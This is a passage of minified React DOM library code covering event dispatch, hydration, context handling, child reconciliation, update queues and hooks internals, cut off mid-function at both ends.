e;case"keydown":case"keyup":g=xg;break;case"focusin":y="focus",g=ll;break;case"focusout":y="blur",g=ll;break;case"beforeblur":case"afterblur":g=ll;break;case"click":if(n.button===2)break e;case"auxclick":case"dblclick":case"mousedown":case"mousemove":case"mouseup":case"mouseout":case"mouseover":case"contextmenu":g=xc;break;case"drag":case"dragend":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"dragstart":case"drop":g=ag;break;case"touchcancel":case"touchend":case"touchmove":case"touchstart":g=Cg;break;case ip:case sp:case lp:g=dg;break;case ap:g=Pg;break;case"scroll":g=sg;break;case"wheel":g=Tg;break;case"copy":case"cut":case"paste":g=pg;break;case"gotpointercapture":case"lostpointercapture":case"pointercancel":case"pointerdown":case"pointermove":case"pointerout":case"pointerover":case"pointerup":g=Ec}var v=(t&4)!==0,x=!v&&e==="scroll",h=v?c!==null?c+"Capture":null:c;v=[];for(var p=u,m;p!==null;){m=p;var S=m.stateNode;if(m.tag===5&&S!==null&&(m=S,h!==null&&(S=ko(p,h),S!=null&&v.push(Oo(p,S,m)))),x)break;p=p.return}0<v.length&&(c=new g(c,y,null,n,d),f.push({event:c,listeners:v}))}}if(!(t&7)){e:{if(c=e==="mouseover"||e==="pointerover",g=e==="mouseout"||e==="pointerout",c&&n!==Hl&&(y=n.relatedTarget||n.fromElement)&&(Dn(y)||y[Bt]))break e;if((g||c)&&(c=d.window===d?d:(c=d.ownerDocument)?c.defaultView||c.parentWindow:window,g?(y=n.relatedTarget||n.toElement,g=u,y=y?Dn(y):null,y!==null&&(x=Jn(y),y!==x||y.tag!==5&&y.tag!==6)&&(y=null)):(g=null,y=u),g!==y)){if(v=xc,S="onMouseLeave",h="onMouseEnter",p="mouse",(e==="pointerout"||e==="pointerover")&&(v=Ec,S="onPointerLeave",h="onPointerEnter",p="pointer"),x=g==null?c:cr(g),m=y==null?c:cr(y),c=new v(S,p+"leave",g,n,d),c.target=x,c.relatedTarget=m,S=null,Dn(d)===u&&(v=new v(h,p+"enter",y,n,d),v.target=m,v.relatedTarget=x,S=v),x=S,g&&y)t:{for(v=g,h=y,p=0,m=v;m;m=or(m))p++;for(m=0,S=h;S;S=or(S))m++;for(;0<p-m;)v=or(v),p--;for(;0<m-p;)h=or(h),m--;for(;p--;){if(v===h||h!==null&&v===h.alternate)break t;v=or(v),h=or(h)}v=null}else v=null;g!==null&&Ac(f,c,g,v,!1),y!==null&&x!==null&&Ac(f,x,y,v,!0)}}e:{if(c=u?cr(u):window,g=c.nodeName&&c.nodeName.toLowerCase(),g==="select"||g==="input"&&c.type==="file")var C=Mg;else if(Pc(c))if(ep)C=zg;else{C=Dg;var P=Lg}else(g=c.nodeName)&&g.toLowerCase()==="input"&&(c.type==="checkbox"||c.type==="radio")&&(C=Ig);if(C&&(C=C(e,u))){Jf(f,C,n,d);break e}P&&P(e,c,u),e==="focusout"&&(P=c._wrapperState)&&P.controlled&&c.type==="number"&&Fl(c,"number",c.value)}switch(P=u?cr(u):window,e){case"focusin":(Pc(P)||P.contentEditable==="true")&&(ar=P,ql=u,vo=null);break;case"focusout":vo=ql=ar=null;break;case"mousedown":Zl=!0;break;case"contextmenu":case"mouseup":case"dragend":Zl=!1,_c(f,n,d);break;case"selectionchange":if(Ug)break;case"keydown":case"keyup":_c(f,n,d)}var b;if(iu)e:{switch(e){case"compositionstart":var N="onCompositionStart";break e;case"compositionend":N="onCompositionEnd";break e;case"compositionupdate":N="onCompositionUpdate";break e}N=void 0}else lr?qf(e,n)&&(N="onCompositionEnd"):e==="keydown"&&n.keyCode===229&&(N="onCompositionStart");N&&(Xf&&n.locale!=="ko"&&(lr||N!=="onCompositionStart"?N==="onCompositionEnd"&&lr&&(b=Yf()):(pn=d,nu="value"in pn?pn.value:pn.textContent,lr=!0)),P=Gi(u,N),0<P.length&&(N=new Sc(N,e,null,n,d),f.push({event:N,listeners:P}),b?N.data=b:(b=Zf(n),b!==null&&(N.data=b)))),(b=Rg?_g(e,n):Og(e,n))&&(u=Gi(u,"onBeforeInput"),0<u.length&&(d=new Sc("onBeforeInput","beforeinput",null,n,d),f.push({event:d,listeners:u}),d.data=b))}cp(f,t)})}function Oo(e,t,n){return{instance:e,listener:t,currentTarget:n}}function Gi(e,t){for(var n=t+"Capture",r=[];e!==null;){var o=e,i=o.stateNode;o.tag===5&&i!==null&&(o=i,i=ko(e,n),i!=null&&r.unshift(Oo(e,i,o)),i=ko(e,t),i!=null&&r.push(Oo(e,i,o))),e=e.return}return r}function or(e){if(e===null)return null;do e=e.return;while(e&&e.tag!==5);return e||null}function Ac(e,t,n,r,o){for(var i=t._reactName,s=[];n!==null&&n!==r;){var l=n,a=l.alternate,u=l.stateNode;if(a!==null&&a===r)break;l.tag===5&&u!==null&&(l=u,o?(a=ko(n,i),a!=null&&s.unshift(Oo(n,a,l))):o||(a=ko(n,i),a!=null&&s.push(Oo(n,a,l)))),n=n.return}s.length!==0&&e.push({event:t,listeners:s})}var Wg=/\r\n?/g,Qg=/\u0000|\uFFFD/g;function Mc(e){return(typeof e=="string"?e:""+e).replace(Wg,` `).replace(Qg,"")}function hi(e,t,n){if(t=Mc(t),Mc(e)!==t&&n)throw Error(R(425))}function Yi(){}var Jl=null,ea=null;function ta(e,t){return e==="textarea"||e==="noscript"||typeof t.children=="string"||typeof t.children=="number"||typeof t.dangerouslySetInnerHTML=="object"&&t.dangerouslySetInnerHTML!==null&&t.dangerouslySetInnerHTML.__html!=null}var na=typeof setTimeout=="function"?setTimeout:void 0,Kg=typeof clearTimeout=="function"?clearTimeout:void 0,Lc=typeof Promise=="function"?Promise:void 0,Gg=typeof queueMicrotask=="function"?queueMicrotask:typeof Lc<"u"?function(e){return Lc.resolve(null).then(e).catch(Yg)}:na;function Yg(e){setTimeout(function(){throw e})}function ml(e,t){var n=t,r=0;do{var o=n.nextSibling;if(e.removeChild(n),o&&o.nodeType===8)if(n=o.data,n==="/$"){if(r===0){e.removeChild(o),To(t);return}r--}else n!=="$"&&n!=="$?"&&n!=="$!"||r++;n=o}while(n);To(t)}function wn(e){for(;e!=null;e=e.nextSibling){var t=e.nodeType;if(t===1||t===3)break;if(t===8){if(t=e.data,t==="$"||t==="$!"||t==="$?")break;if(t==="/$")return null}}return e}function Dc(e){e=e.previousSibling;for(var t=0;e;){if(e.nodeType===8){var n=e.data;if(n==="$"||n==="$!"||n==="$?"){if(t===0)return e;t--}else n==="/$"&&t++}e=e.previousSibling}return null}var Qr=Math.random().toString(36).slice(2),Nt="__reactFiber$"+Qr,jo="__reactProps$"+Qr,Bt="__reactContainer$"+Qr,ra="__reactEvents$"+Qr,Xg="__reactListeners$"+Qr,qg="__reactHandles$"+Qr;function Dn(e){var t=e[Nt];if(t)return t;for(var n=e.parentNode;n;){if(t=n[Bt]||n[Nt]){if(n=t.alternate,t.child!==null||n!==null&&n.child!==null)for(e=Dc(e);e!==null;){if(n=e[Nt])return n;e=Dc(e)}return t}e=n,n=e.parentNode}return null}function Yo(e){return e=e[Nt]||e[Bt],!e||e.tag!==5&&e.tag!==6&&e.tag!==13&&e.tag!==3?null:e}function cr(e){if(e.tag===5||e.tag===6)return e.stateNode;throw Error(R(33))}function ks(e){return e[jo]||null}var oa=[],dr=-1;function On(e){return{current:e}}function ie(e){0>dr||(e.current=oa[dr],oa[dr]=null,dr--)}function te(e,t){dr++,oa[dr]=e.current,e.current=t}var Pn={},Re=On(Pn),ze=On(!1),Wn=Pn;function Dr(e,t){var n=e.type.contextTypes;if(!n)return Pn;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var o={},i;for(i in n)o[i]=t[i];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=o),o}function Fe(e){return e=e.childContextTypes,e!=null}function Xi(){ie(ze),ie(Re)}function Ic(e,t,n){if(Re.current!==Pn)throw Error(R(168));te(Re,t),te(ze,n)}function fp(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var o in r)if(!(o in t))throw Error(R(108,Lv(e)||"Unknown",o));return ce({},n,r)}function qi(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||Pn,Wn=Re.current,te(Re,e),te(ze,ze.current),!0}function zc(e,t,n){var r=e.stateNode;if(!r)throw Error(R(169));n?(e=fp(e,t,Wn),r.__reactInternalMemoizedMergedChildContext=e,ie(ze),ie(Re),te(Re,e)):ie(ze),te(ze,n)}var It=null,Ps=!1,vl=!1;function pp(e){It===null?It=[e]:It.push(e)}function Zg(e){Ps=!0,pp(e)}function jn(){if(!vl&&It!==null){vl=!0;var e=0,t=J;try{var n=It;for(J=1;e<n.length;e++){var r=n[e];do r=r(!0);while(r!==null)}It=null,Ps=!1}catch(o){throw It!==null&&(It=It.slice(e+1)),zf(Za,jn),o}finally{J=t,vl=!1}}return null}var fr=[],pr=0,Zi=null,Ji=0,nt=[],rt=0,Qn=null,zt=1,Ft="";function Mn(e,t){fr[pr++]=Ji,fr[pr++]=Zi,Zi=e,Ji=t}function hp(e,t,n){nt[rt++]=zt,nt[rt++]=Ft,nt[rt++]=Qn,Qn=e;var r=zt;e=Ft;var o=32-mt(r)-1;r&=~(1<<o),n+=1;var i=32-mt(t)+o;if(30<i){var s=o-o%5;i=(r&(1<<s)-1).toString(32),r>>=s,o-=s,zt=1<<32-mt(t)+o|n<<o|r,Ft=i+e}else zt=1<<i|n<<o|r,Ft=e}function lu(e){e.return!==null&&(Mn(e,1),hp(e,1,0))}function au(e){for(;e===Zi;)Zi=fr[--pr],fr[pr]=null,Ji=fr[--pr],fr[pr]=null;for(;e===Qn;)Qn=nt[--rt],nt[rt]=null,Ft=nt[--rt],nt[rt]=null,zt=nt[--rt],nt[rt]=null}var Xe=null,Ye=null,se=!1,ht=null;function mp(e,t){var n=ot(5,null,null,0);n.elementType="DELETED",n.stateNode=t,n.return=e,t=e.deletions,t===null?(e.deletions=[n],e.flags|=16):t.push(n)}function Fc(e,t){switch(e.tag){case 5:var n=e.type;return t=t.nodeType!==1||n.toLowerCase()!==t.nodeName.toLowerCase()?null:t,t!==null?(e.stateNode=t,Xe=e,Ye=wn(t.firstChild),!0):!1;case 6:return t=e.pendingProps===""||t.nodeType!==3?null:t,t!==null?(e.stateNode=t,Xe=e,Ye=null,!0):!1;case 13:return t=t.nodeType!==8?null:t,t!==null?(n=Qn!==null?{id:zt,overflow:Ft}:null,e.memoizedState={dehydrated:t,treeContext:n,retryLane:1073741824},n=ot(18,null,null,0),n.stateNode=t,n.return=e,e.child=n,Xe=e,Ye=null,!0):!1;default:return!1}}function ia(e){return(e.mode&1)!==0&&(e.flags&128)===0}function sa(e){if(se){var t=Ye;if(t){var n=t;if(!Fc(e,t)){if(ia(e))throw Error(R(418));t=wn(n.nextSibling);var r=Xe;t&&Fc(e,t)?mp(r,n):(e.flags=e.flags&-4097|2,se=!1,Xe=e)}}else{if(ia(e))throw Error(R(418));e.flags=e.flags&-4097|2,se=!1,Xe=e}}}function $c(e){for(e=e.return;e!==null&&e.tag!==5&&e.tag!==3&&e.tag!==13;)e=e.return;Xe=e}function mi(e){if(e!==Xe)return!1;if(!se)return $c(e),se=!0,!1;var t;if((t=e.tag!==3)&&!(t=e.tag!==5)&&(t=e.type,t=t!=="head"&&t!=="body"&&!ta(e.type,e.memoizedProps)),t&&(t=Ye)){if(ia(e))throw vp(),Error(R(418));for(;t;)mp(e,t),t=wn(t.nextSibling)}if($c(e),e.tag===13){if(e=e.memoizedState,e=e!==null?e.dehydrated:null,!e)throw Error(R(317));e:{for(e=e.nextSibling,t=0;e;){if(e.nodeType===8){var n=e.data;if(n==="/$"){if(t===0){Ye=wn(e.nextSibling);break e}t--}else n!=="$"&&n!=="$!"&&n!=="$?"||t++}e=e.nextSibling}Ye=null}}else Ye=Xe?wn(e.stateNode.nextSibling):null;return!0}function vp(){for(var e=Ye;e;)e=wn(e.nextSibling)}function Ir(){Ye=Xe=null,se=!1}function uu(e){ht===null?ht=[e]:ht.push(e)}var Jg=Kt.ReactCurrentBatchConfig;function no(e,t,n){if(e=n.ref,e!==null&&typeof e!="function"&&typeof e!="object"){if(n._owner){if(n=n._owner,n){if(n.tag!==1)throw Error(R(309));var r=n.stateNode}if(!r)throw Error(R(147,e));var o=r,i=""+e;return t!==null&&t.ref!==null&&typeof t.ref=="function"&&t.ref._stringRef===i?t.ref:(t=function(s){var l=o.refs;s===null?delete l[i]:l[i]=s},t._stringRef=i,t)}if(typeof e!="string")throw Error(R(284));if(!n._owner)throw Error(R(290,e))}return e}function vi(e,t){throw e=Object.prototype.toString.call(t),Error(R(31,e==="[object Object]"?"object with keys {"+Object.keys(t).join(", ")+"}":e))}function Uc(e){var t=e._init;return t(e._payload)}function gp(e){function t(h,p){if(e){var m=h.deletions;m===null?(h.deletions=[p],h.flags|=16):m.push(p)}}function n(h,p){if(!e)return null;for(;p!==null;)t(h,p),p=p.sibling;return null}function r(h,p){for(h=new Map;p!==null;)p.key!==null?h.set(p.key,p):h.set(p.index,p),p=p.sibling;return h}function o(h,p){return h=Cn(h,p),h.index=0,h.sibling=null,h}function i(h,p,m){return h.index=m,e?(m=h.alternate,m!==null?(m=m.index,m<p?(h.flags|=2,p):m):(h.flags|=2,p)):(h.flags|=1048576,p)}function s(h){return e&&h.alternate===null&&(h.flags|=2),h}function l(h,p,m,S){return p===null||p.tag!==6?(p=Cl(m,h.mode,S),p.return=h,p):(p=o(p,m),p.return=h,p)}function a(h,p,m,S){var C=m.type;return C===sr?d(h,p,m.props.children,S,m.key):p!==null&&(p.elementType===C||typeof C=="object"&&C!==null&&C.$$typeof===rn&&Uc(C)===p.type)?(S=o(p,m.props),S.ref=no(h,p,m),S.return=h,S):(S=Ii(m.type,m.key,m.props,null,h.mode,S),S.ref=no(h,p,m),S.return=h,S)}function u(h,p,m,S){return p===null||p.tag!==4||p.stateNode.containerInfo!==m.containerInfo||p.stateNode.implementation!==m.implementation?(p=kl(m,h.mode,S),p.return=h,p):(p=o(p,m.children||[]),p.return=h,p)}function d(h,p,m,S,C){return p===null||p.tag!==7?(p=Hn(m,h.mode,S,C),p.return=h,p):(p=o(p,m),p.return=h,p)}function f(h,p,m){if(typeof p=="string"&&p!==""||typeof p=="number")return p=Cl(""+p,h.mode,m),p.return=h,p;if(typeof p=="object"&&p!==null){switch(p.$$typeof){case ii:return m=Ii(p.type,p.key,p.props,null,h.mode,m),m.ref=no(h,null,p),m.return=h,m;case ir:return p=kl(p,h.mode,m),p.return=h,p;case rn:var S=p._init;return f(h,S(p._payload),m)}if(ao(p)||qr(p))return p=Hn(p,h.mode,m,null),p.return=h,p;vi(h,p)}return null}function c(h,p,m,S){var C=p!==null?p.key:null;if(typeof m=="string"&&m!==""||typeof m=="number")return C!==null?null:l(h,p,""+m,S);if(typeof m=="object"&&m!==null){switch(m.$$typeof){case ii:return m.key===C?a(h,p,m,S):null;case ir:return m.key===C?u(h,p,m,S):null;case rn:return C=m._init,c(h,p,C(m._payload),S)}if(ao(m)||qr(m))return C!==null?null:d(h,p,m,S,null);vi(h,m)}return null}function g(h,p,m,S,C){if(typeof S=="string"&&S!==""||typeof S=="number")return h=h.get(m)||null,l(p,h,""+S,C);if(typeof S=="object"&&S!==null){switch(S.$$typeof){case ii:return h=h.get(S.key===null?m:S.key)||null,a(p,h,S,C);case ir:return h=h.get(S.key===null?m:S.key)||null,u(p,h,S,C);case rn:var P=S._init;return g(h,p,m,P(S._payload),C)}if(ao(S)||qr(S))return h=h.get(m)||null,d(p,h,S,C,null);vi(p,S)}return null}function y(h,p,m,S){for(var C=null,P=null,b=p,N=p=0,D=null;b!==null&&N<m.length;N++){b.index>N?(D=b,b=null):D=b.sibling;var j=c(h,b,m[N],S);if(j===null){b===null&&(b=D);break}e&&b&&j.alternate===null&&t(h,b),p=i(j,p,N),P===null?C=j:P.sibling=j,P=j,b=D}if(N===m.length)return n(h,b),se&&Mn(h,N),C;if(b===null){for(;N<m.length;N++)b=f(h,m[N],S),b!==null&&(p=i(b,p,N),P===null?C=b:P.sibling=b,P=b);return se&&Mn(h,N),C}for(b=r(h,b);N<m.length;N++)D=g(b,h,N,m[N],S),D!==null&&(e&&D.alternate!==null&&b.delete(D.key===null?N:D.key),p=i(D,p,N),P===null?C=D:P.sibling=D,P=D);return e&&b.forEach(function($){return t(h,$)}),se&&Mn(h,N),C}function v(h,p,m,S){var C=qr(m);if(typeof C!="function")throw Error(R(150));if(m=C.call(m),m==null)throw Error(R(151));for(var P=C=null,b=p,N=p=0,D=null,j=m.next();b!==null&&!j.done;N++,j=m.next()){b.index>N?(D=b,b=null):D=b.sibling;var $=c(h,b,j.value,S);if($===null){b===null&&(b=D);break}e&&b&&$.alternate===null&&t(h,b),p=i($,p,N),P===null?C=$:P.sibling=$,P=$,b=D}if(j.done)return n(h,b),se&&Mn(h,N),C;if(b===null){for(;!j.done;N++,j=m.next())j=f(h,j.value,S),j!==null&&(p=i(j,p,N),P===null?C=j:P.sibling=j,P=j);return se&&Mn(h,N),C}for(b=r(h,b);!j.done;N++,j=m.next())j=g(b,h,N,j.value,S),j!==null&&(e&&j.alternate!==null&&b.delete(j.key===null?N:j.key),p=i(j,p,N),P===null?C=j:P.sibling=j,P=j);return e&&b.forEach(function(I){return t(h,I)}),se&&Mn(h,N),C}function x(h,p,m,S){if(typeof m=="object"&&m!==null&&m.type===sr&&m.key===null&&(m=m.props.children),typeof m=="object"&&m!==null){switch(m.$$typeof){case ii:e:{for(var C=m.key,P=p;P!==null;){if(P.key===C){if(C=m.type,C===sr){if(P.tag===7){n(h,P.sibling),p=o(P,m.props.children),p.return=h,h=p;break e}}else if(P.elementType===C||typeof C=="object"&&C!==null&&C.$$typeof===rn&&Uc(C)===P.type){n(h,P.sibling),p=o(P,m.props),p.ref=no(h,P,m),p.return=h,h=p;break e}n(h,P);break}else t(h,P);P=P.sibling}m.type===sr?(p=Hn(m.props.children,h.mode,S,m.key),p.return=h,h=p):(S=Ii(m.type,m.key,m.props,null,h.mode,S),S.ref=no(h,p,m),S.return=h,h=S)}return s(h);case ir:e:{for(P=m.key;p!==null;){if(p.key===P)if(p.tag===4&&p.stateNode.containerInfo===m.containerInfo&&p.stateNode.implementation===m.implementation){n(h,p.sibling),p=o(p,m.children||[]),p.return=h,h=p;break e}else{n(h,p);break}else t(h,p);p=p.sibling}p=kl(m,h.mode,S),p.return=h,h=p}return s(h);case rn:return P=m._init,x(h,p,P(m._payload),S)}if(ao(m))return y(h,p,m,S);if(qr(m))return v(h,p,m,S);vi(h,m)}return typeof m=="string"&&m!==""||typeof m=="number"?(m=""+m,p!==null&&p.tag===6?(n(h,p.sibling),p=o(p,m),p.return=h,h=p):(n(h,p),p=Cl(m,h.mode,S),p.return=h,h=p),s(h)):n(h,p)}return x}var zr=gp(!0),yp=gp(!1),es=On(null),ts=null,hr=null,cu=null;function du(){cu=hr=ts=null}function fu(e){var t=es.current;ie(es),e._currentValue=t}function la(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function Sr(e,t){ts=e,cu=hr=null,e=e.dependencies,e!==null&&e.firstContext!==null&&(e.lanes&t&&(Ie=!0),e.firstContext=null)}function st(e){var t=e._currentValue;if(cu!==e)if(e={context:e,memoizedValue:t,next:null},hr===null){if(ts===null)throw Error(R(308));hr=e,ts.dependencies={lanes:0,firstContext:e}}else hr=hr.next=e;return t}var In=null;function pu(e){In===null?In=[e]:In.push(e)}function wp(e,t,n,r){var o=t.interleaved;return o===null?(n.next=n,pu(t)):(n.next=o.next,o.next=n),t.interleaved=n,Vt(e,r)}function Vt(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var on=!1;function hu(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function xp(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function $t(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function xn(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,X&2){var o=r.pending;return o===null?t.next=t:(t.next=o.next,o.next=t),r.pending=t,Vt(e,n)}return o=r.interleaved,o===null?(t.next=t,pu(r)):(t.next=o.next,o.next=t),r.interleaved=t,Vt(e,n)}function Oi(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Ja(e,n)}}function Bc(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var o=null,i=null;if(n=n.firstBaseUpdate,n!==null){do{var s={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};i===null?o=i=s:i=i.next=s,n=n.next}while(n!==null);i===null?o=i=t:i=i.next=t}else o=i=t;n={baseState:r.baseState,firstBaseUpdate:o,lastBaseUpdate:i,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function ns(e,t,n,r){var o=e.updateQueue;on=!1;var i=o.firstBaseUpdate,s=o.lastBaseUpdate,l=o.shared.pending;if(l!==null){o.shared.pending=null;var a=l,u=a.next;a.next=null,s===null?i=u:s.next=u,s=a;var d=e.alternate;d!==null&&(d=d.updateQueue,l=d.lastBaseUpdate,l!==s&&(l===null?d.firstBaseUpdate=u:l.next=u,d.lastBaseUpdate=a))}if(i!==null){var f=o.baseState;s=0,d=u=a=null,l=i;do{var c=l.lane,g=l.eventTime;if((r&c)===c){d!==null&&(d=d.next={eventTime:g,lane:0,tag:l.tag,payload:l.payload,callback:l.callback,next:null});e:{var y=e,v=l;switch(c=t,g=n,v.tag){case 1:if(y=v.payload,typeof y=="function"){f=y.call(g,f,c);break e}f=y;break e;case 3:y.flags=y.flags&-65537|128;case 0:if(y=v.payload,c=typeof y=="function"?y.call(g,f,c):y,c==null)break e;f=ce({},f,c);break e;case 2:on=!0}}l.callback!==null&&l.lane!==0&&(e.flags|=64,c=o.effects,c===null?o.effects=[l]:c.push(l))}else g={eventTime:g,lane:c,tag:l.tag,payload:l.payload,callback:l.callback,next:null},d===null?(u=d=g,a=f):d=d.next=g,s|=c;if(l=l.next,l===null){if(l=o.shared.pending,l===null)break;c=l,l=c.next,c.next=null,o.lastBaseUpdate=c,o.shared.pending=null}}while(!0);if(d===null&&(a=f),o.baseState=a,o.firstBaseUpdate=u,o.lastBaseUpdate=d,t=o.shared.interleaved,t!==null){o=t;do s|=o.lane,o=o.next;while(o!==t)}else i===null&&(o.shared.lanes=0);Gn|=s,e.lanes=s,e.memoizedState=f}}function Vc(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;t<e.length;t++){var r=e[t],o=r.callback;if(o!==null){if(r.callback=null,r=n,typeof o!="function")throw Error(R(191,o));o.call(r)}}}var Xo={},_t=On(Xo),Ao=On(Xo),Mo=On(Xo);function zn(e){if(e===Xo)throw Error(R(174));return e}function mu(e,t){switch(te(Mo,t),te(Ao,e),te(_t,Xo),e=t.nodeType,e){case 9:case 11:t=(t=t.documentElement)?t.namespaceURI:Ul(null,"");break;default:e=e===8?t.parentNode:t,t=e.namespaceURI||null,e=e.tagName,t=Ul(t,e)}ie(_t),te(_t,t)}function Fr(){ie(_t),ie(Ao),ie(Mo)}function Sp(e){zn(Mo.current);var t=zn(_t.current),n=Ul(t,e.type);t!==n&&(te(Ao,e),te(_t,n))}function vu(e){Ao.current===e&&(ie(_t),ie(Ao))}var ae=On(0);function rs(e){for(var t=e;t!==null;){if(t.tag===13){var n=t.memoizedState;if(n!==null&&(n=n.dehydrated,n===null||n.data==="$?"||n.data==="$!"))return t}else if(t.tag===19&&t.memoizedProps.revealOrder!==void 0){if(t.flags&128)return t}else if(t.child!==null){t.child.return=t,t=t.child;continue}if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}return null}var gl=[];function gu(){for(var e=0;e<gl.length;e++)gl[e]._workInProgressVersionPrimary=null;gl.length=0}var ji=Kt.ReactCurrentDispatcher,yl=Kt.ReactCurrentBatchConfig,Kn=0,ue=null,me=null,ye=null,os=!1,go=!1,Lo=0,ey=0;function Pe(){throw Error(R(321))}function yu(e,t){if(t===null)return!1;for(var n=0;n<t.length&&n<e.length;n++)if(!gt(e[n],t[n]))return!1;return!0}function wu(e,t,n,r,o,i){if(Kn=i,ue=t,t.memoizedState=null,t.updateQueue=null,t.lanes=0,ji.current=e===null||e.memoizedState===null?oy:iy,e=n(r,o),go){i=0;do{if(go=!1,Lo=0,25<=i)throw Error(R(301));i+=1,ye=me=null,t.updateQueue=null,ji.current=sy,e=n(r,o)}while(go)}if(ji.current=is,t=me!==null&&me.next!==null,Kn=0,ye=me=ue=null,os=!1,t)throw Error(R(300));return e}function xu(){var e=Lo!==0;return Lo=0,e}function kt(){var e={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return ye===null?ue.memoizedState=ye=e:ye=ye.next=e,ye}function lt(){if(me===null){var e=ue.alternate;e=e!==null?e.memoizedState:null}else e=me.next;var t=ye===null?ue.memoizedState:ye.next;if(t!==null)ye=t,me=e;else{if(e===null)throw Error(R(310));me=e,e={memoizedState:me.memoizedState,baseState:me.baseState,baseQueue:me.baseQueue,queue:me.queue,next:null},ye===null?ue.memoizedState=ye=e:ye=ye.next=e}return ye}function Do(e,t){return typeof t=="function"?t(e):t}function wl(e){var t=lt(),n=t.queue;if(n===null)throw Error(R(311));n.lastRenderedReducer=e;var r=me,o=r.baseQueue,i=n.pending;if(i!==null){if(o!==null){var s=o.next;o.next=i.next,i.next=s}r.baseQueue=o=i,n.pending=null}if(o!==null){i=o.next,r=r.baseState;var l=s=null,a=null,u=i;do{var d=u.lane;if((Kn&d)===d)a!==null&&(a=a.next={lane:0,action:u.action,hasEagerState:u.hasEagerState,eagerState:u.eagerState,next:null}),r=u.hasEagerState?u.eagerState:e(r,u.action);else{var f={lane:d,action:u.action,hasEagerState:u.hasEagerState,eagerState:u.eagerState,next:null};a===null?(l=a=f,s=r):a=a.next=f,ue.lanes|=d,Gn|=d}u=u.next}while(u!==null&&u!==i);a===null?s=r:a.next=l,gt(r,t.memoizedState)||(Ie=!0),t.memoizedState=r,t.baseState=s,t.baseQueue=a,n.lastRenderedState=r}if(e=n.interleaved,e!==null){o=e;do i=o.lane,ue.lanes|=i,Gn|=i,o=o.next;while(o!==e)}else o===null&&(n.lanes=0);return[t.memoizedState,n.dispatch]}function xl(e){var t=lt(),n=t.queue;if(n===null)throw Error(R(311));n.lastRenderedReducer=e;var r=n.dispatch,o=n.pending,i=t.memoizedState;if(o!==null){n.pending=null;var s=o=o.next;do i=e(i,s.action),s=s.next;while(s!==o);gt(i,t.memoizedState)||(Ie=!0),t.memoizedState=i,t.baseQueue===null&&(t.baseState=i),n.lastRenderedState=i}return[i,r]}function Ep(){}function Cp(e,t){var n=ue,r=lt(),o=t(),i=!gt(r.memoizedState,o);if(i&&(r.memoizedState=o,Ie=!0),r=r.queue,Su(bp.bind(null,n,r,e),[e]),r.getSnapshot!==t||i||ye!==null&&ye.memoizedState.tag&1){if(n.flags|=2048,Io(9,Pp.bind(null,n,r,o,t),void 0,null),we===null)throw Error(R(349));Kn&30||kp(n,t,o)}return o}function kp(e,t,n){e.flags|=16384,e={getSnapshot:t,value:n},t=ue.updateQueue,t===null?(t={lastEffect:null,stores:null},ue.updateQueue=t,t.stores=[e]):(n=t.stores,n===null?t.stores=[e]:n.push(e))}function Pp(e,t,n,r){t.value=n,t.getSnapshot=r,Tp(t)&&Np(e)}function bp(e,t,n){return n(function(){Tp(t)&&Np(e)})}function Tp(e){var t=e.getSnapshot;e=e.value;try{var n=t();return!gt(e,n)}catch{return!0}}function Np(e){var t=Vt(e,1);t!==null&&vt(t,e,1,-1)}function Hc(e){var t=kt();return typeof e=="function"&&(e=e()),t.memoizedState=t.baseState=e,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:Do,lastRenderedState:e},t.queue=e,e=e.dispatch=ry.bind(null,ue,e),[t.memoizedState,e]}function Io(e,t,n,r){return e={tag:e,create:t,destroy:n,deps:r,next:null},t=ue.updateQueue,t===null?(t={lastEffect:null,stores:null},ue.updateQueue=t,t.lastEffect=e.next=e):(n=t.lastEffect,n===null?t.lastEffect=e.next=e:(r=n.next,n.next=e,e.next=r,t.lastEffect=e)),e}function Rp(){return lt().memoizedState}function Ai(e,t,n,r){var o=kt();ue.flags|=e,o.memoizedState=Io(1|t,n,void 0,r===void 0?null:r)}function bs(e,t,n,r){var o=lt();r=r===void 0?null:r;var i=void 0;if(me!==null){var s=me.memoizedState;if(i=s.destroy,r!==null&&yu(r,s.deps)){o.memoizedState=Io(t,n,i,r);return}}ue.flags|=e,o.memoizedState=Io(1|t,n,i,r)}function Wc(e,t){return Ai(8390656,8,e,t)}function Su(e,t){return bs(2048,8,e,t)}function _p(e,t){return bs(4,2,e,t)}function Op(e,t){return bs(4,4,e,t)}function jp(e,t){if(typeof t=="function")return 